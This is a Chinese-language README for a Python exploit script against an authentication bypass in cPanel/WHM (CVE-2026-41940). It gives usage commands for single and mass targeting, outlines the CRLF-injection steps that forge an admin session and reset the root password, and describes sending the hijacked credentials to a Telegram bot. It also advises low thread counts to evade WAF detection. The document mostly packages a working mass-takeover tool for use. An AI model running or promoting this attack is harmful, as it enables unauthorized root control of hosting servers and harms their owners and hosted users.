CVE-2026-41940 – cPanel/WHM 认证绕过 + Root 密码修改器 此脚本利用 cPanel/WHM 上的认证绕过漏洞(CVE-2026-41940),通过 CRLF 注入技术伪造管理员会话。成功利用后,脚本可在 WHM 中修改 root 用户的密码,并通过 Telegram 发送通知。
警告:仅用于对您拥有或已获得书面授权的系统进行安全测试。滥用此脚本进行非法访问违反法律。
📦 安装依赖(PIP) 此脚本需要 Python 3.6+ 和两个外部库。运行以下命令:
pip install requests urllib3 requests – 用于发送灵活的 HTTP 请求
urllib3 – 用于禁用 SSL 警告(自签名证书)
其他库(argparse、json、re、threading、concurrent.futures 等)已包含在 Python 标准库中。
🚀 使用方法
(可选)如需 Telegram 通知,请编辑脚本中 HARDCODE TELEGRAM 部分的两行:
python TELEGRAM_BOT_TOKEN = 'token_bot_dari_BotFather' TELEGRAM_CHAT_ID = 'chat_id_anda_atau_group' 如不需要通知,请保持原样(: 和 -)。
基本语法 bash python cve-2026-41940.py --target https://ip:2087 --password root123 python cve-2026-41940.py --targets-file targets.txt --password rahasia --threads 20 --output hasil.json python cve-2026-41940.py --target https://ip:2087 --check-only
可用参数 参数 必填? 描述 --target 二选一 单个目标,例如 https://192.168.1.100:2087 或 192.168.1.100(默认端口 2087) --targets-file 二选一 包含目标列表的文本文件(每行一个,格式为 ip:port 或完整 URL) --password 如未使用 --check-only 则必填 WHM root 用户的新密码 --check-only 否 仅检查目标是否存在漏洞,不修改密码 --threads 否(默认 10) 并行执行的线程数 --timeout 否(默认 15) HTTP 连接超时(秒) --output 否 将结果(JSON)保存到文件 注意:如果未指定端口,将自动添加 WHM 的 2087 端口(SSL)。
使用示例 检查单个目标是否存在漏洞(仅测试):
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --check-only 利用漏洞并将 root 密码更改为 p4ssw0rd!:
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --password p4ssw0rd! 使用 20 个线程扫描 list.txt 中的多个目标,并将结果保存到 sukses.json:
bash python cve-2026-41940.py --targets-file list.txt --password MyNewPass123 --threads 20 --output sukses.json list.txt 内容示例:
text 192.168.1.1:2087 https://cpanel.example.com 203.0.113.99 5. 输出与通知 每个目标的状态将打印在屏幕上: [+] 成功,[-] 失败,[!] 错误,[*] 处理中。
如果包含 --output,所有结果将以 JSON 格式保存。
如果填写了 Telegram 凭据,成功利用后将发送类似以下消息:
text ✅ SUCCESSFUL EXPLOIT ✅ ┌ Target: 203.0.113.10:2087 ├ Username: root ├ Password: MyNewPass123 ├ WHM Version: 122.0.19 └ Time: 2025-03-20 10:15:30 UTC ⚙️ 工作原理简述 预认证 – 发送失败的登录请求以获取 whostmgrsession cookie。
CRLF 注入 – 在 Authorization 标头中添加 payload Basic ,以插入伪造的会话行。
传播 – 访问 /scripts2/listaccts 以确认漏洞可利用。
验证 – 调用 json-api/version;如果成功,则可以 root 身份访问 WHM。
修改密码 – 调用 passwd API,参数为 user=root 和新密码。
通知 – 将结果发送到 Telegram(如果已填写 token)。
⚠️ 重要说明 脚本不会直接检测 cPanel/WHM 版本,但会在可用时显示版本。
某些目标可能启用了 mod_security 或 WAF 来阻止 payload。请勿将 --threads 设置过高,以避免被检测。
请始终在获得授权的情况下使用,并承担道德责任。
作者:dennisec (github.com/dennisec) 许可证:仅限教育用途